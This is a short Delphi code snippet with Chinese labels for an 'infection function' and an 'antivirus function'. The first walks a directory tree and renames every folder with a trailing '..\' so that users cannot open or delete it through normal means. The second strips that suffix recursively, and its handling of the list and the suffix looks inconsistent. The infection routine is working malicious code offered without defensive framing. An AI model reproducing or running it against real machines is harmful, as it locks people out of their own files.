感染函数
procedure TForm1.EnCrypt(pPath:string);
var
  lCount,i:Integer;
  lNewName,lFileName:string;
  lStringList:TStringList;
begin
  lStringList:=GetDirTreeList(pPath);
  lCount:=lStringList.Count-1;
  for i:=lCount downto 0 do
  begin
    lFileName:=lStringList.Strings[i];
    lNewName:=lFileName+'..\';
    if DirectoryExists(lFileName) then
    begin
      ReNameFile(lFileName,lNewName)
    end;
  end;
end;
杀毒函数
procedure TForm1.DeCrypt(pPath: string);
var
  lStringList:TStringList;
  lNameLength,i:Integer;
  lNewFileName,lOldFileName:string;
  SearchRec:TSearchRec;
begin
  lStringList:=TStringList.Create;
  lStringList:=GetDirTreeList(pPath);
  for i := 0 to lStringList.Count-1 do
  begin
    lOldFileName:=lStringList.Strings[i]+'.\';
    lNameLength:=Length(lOldFileName);
    lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
    ReNameFile(lOldFileName,lNewFileName);
    DeCrypt(lNewFileName);
  end;
end;